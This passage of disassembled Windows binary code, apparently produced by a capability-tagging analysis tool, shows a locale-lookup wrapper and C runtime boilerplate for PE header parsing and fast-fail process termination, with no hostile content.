mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, qword [0x1401ca030]
mov edi, r9d
xor rbx, qword [0x1401c70a0]
mov rsi, r8
mov ebp, edx
mov r14, rcx
je 0x1400b6cd7
mov rcx, rbx
call fcn.1400093b0
mov r9d, edi
mov r8, rsi
mov edx, ebp
mov rcx, r14
call rbx
jmp 0x1400b6cec
call fcn.14000ea60
mov ecx, eax
mov r9d, edi
mov r8, rsi
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000a820
Capabilities:
Parse pe header

Disassembly:
jmp 0x14012aab0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14012a814

Function at 0x14000ae40
Capabilities:
Terminate process

Disassembly:
jmp 0x1400f45fc
sub rsp, 0x28
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x1400f4615
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.1400047e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]